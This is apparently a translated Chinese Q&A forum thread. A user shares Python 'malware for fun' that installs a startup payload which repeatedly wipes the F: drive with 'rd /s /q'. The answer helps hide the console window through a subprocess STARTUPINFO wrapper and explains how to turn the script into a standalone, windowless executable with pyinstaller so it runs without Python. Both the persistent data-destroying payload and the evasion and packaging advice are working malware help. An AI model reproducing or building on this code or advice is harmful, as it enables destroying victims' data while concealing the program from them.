在后台启动时执行Python脚本
我正在写一个非常简单的恶意软件,纯粹是为了好玩(我不想做任何伤害别人的事情)。现在,我有了这个:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
当用户执行这个脚本后,它应该在每次电脑启动时运行这个程序。目前,这个程序会清空F:\盘,也就是通常用来存放USB闪存、外部硬盘等的地方。
问题是,电脑启动时会弹出一个命令窗口。我需要一种方法,能够让这个窗口在启动时不显示,而且要用Python简单快速地实现。我听说过“pythonw.exe”,但我不知道怎么才能让它在启动时运行,除非我改变.py文件的默认程序。那我该怎么做呢?
是的,我知道如果有人得到了这个恶意软件,除非他们安装了Python,否则它不会有什么作用,但因为我不想用它,所以我不在乎。
1 个回答
弹出的窗口其实不应该是你的 Python 窗口,而是你用 os 运行的命令的窗口(如果有两个窗口,你需要按照下面的建议去移除真正的 Python 窗口)。当你使用 subprocess 模块时,可以阻止这个窗口的出现,它和 os 模块类似。通常,subprocess 也会创建一个窗口,但你可以使用这个调用函数来避免它。如果你想把标准输入和输出传递给这个进程,它甚至可以接受输入的可选参数,并返回输出,不过在这种情况下你并不需要这样做。
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
这样应该能帮到你。你可以用它来替代 os.system()
另外,你甚至可以在没有 Python 的情况下让它工作(不过你真的不应该在其他系统上使用它),方法是用 pyinstaller 把它变成一个可执行文件。实际上,你可能需要结合 subprocess 的 startupinfo 更改来让它正常工作。与 py2exe 或 cxfreeze 不同,pyinstaller 非常容易使用,并且可靠。你可以在 这里 安装 pyinstaller(这是一个压缩文件,不过 pyinstaller 和其他网站都有关于如何安装的说明)。如果你想从命令行创建可执行文件,可能需要把 pyinstaller 命令加入到你的系统 "path" 变量中(你可以通过控制面板来做到这一点)。只需输入
pyinstaller "<filename>" -w -F
你就会得到一个单文件、独立、没有窗口的可执行文件。-w 参数让它没有窗口,-F 参数让它成为一个独立的文件,而不是多个文件的集合。你应该能在你调用 pyinstaller 的目录下看到一个 dist 子目录,里面可能会有其他你可以忽略的东西,但最重要的是,它会包含一个不需要 Python 的单独可执行文件,并且不会弹出任何窗口。